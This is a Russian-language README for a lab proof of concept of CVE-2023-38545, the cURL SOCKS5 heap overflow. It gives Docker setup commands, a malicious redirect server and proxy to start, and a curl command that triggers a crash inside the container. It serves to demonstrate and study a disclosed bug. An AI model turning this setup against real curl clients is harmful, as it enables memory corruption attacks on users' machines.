## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VANIGORI-CVE-2023-38545-SAMPLE
# Краткое описание
Это демонстрация уязвимости CVE-2023-38545 в cURL. Я сделал её настолько лёгкой, насколько это возможно.
# Настройка
Сначала соберите Docker-образ:
`docker build . -t cveimage`
Затем можно просто запустить образ, создав временный Docker-контейнер, который будет удалён после остановки контейнера:
`docker run --rm --tty --net="host" --name cvecontainer cveimage`
Если вам сложно вводить команды, просто откройте другой терминал и выполните:
`docker exec -it cvecontainer /bin/bash`
Теперь нужно запустить все сервисы. Подключитесь к уже запущенному контейнеру и выполните:
`./exploit/malicious_redirect_server.sh &`
`python3 /exploit/proxy.py &`
Теперь изнутри контейнера вы можете увидеть эксплуатацию уязвимости cURL в действии:
`curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000`
Чтобы убедиться, что эксплойт сработал, вы должны увидеть ошибку сегментации на машине, где выполнялась команда curl. Если вы её не видите, значит либо эксплойт не сработал, либо в процессе было так много доступного heap-пространства, что вы не перезаписали недоступную память.
# Дальнейшая работа (PR приветствуются)
* Сделать этот README красивым
* Настроить systemd для автоматического запуска кода эксплойта
* Уменьшить время сборки и размер Docker-образа
* Что-нибудь ещё / всё остальное...?
# Ссылки
* Socks5-прокси не самодельный. Оригинальный код прокси можно найти здесь: https://github.com/alexbers/tgsocksproxy
* * Изначально эксплуатировалось в ubuntu (wsl) с поддержкой systemd: https://github.com/aire1/mtproxy_autoinstaller
* Отчёт на hackerone, который сэкономил массу времени на исследование. Прочтите его, если хотите понять, как возникает эта уязвимость: https://hackerone.com/reports/2187833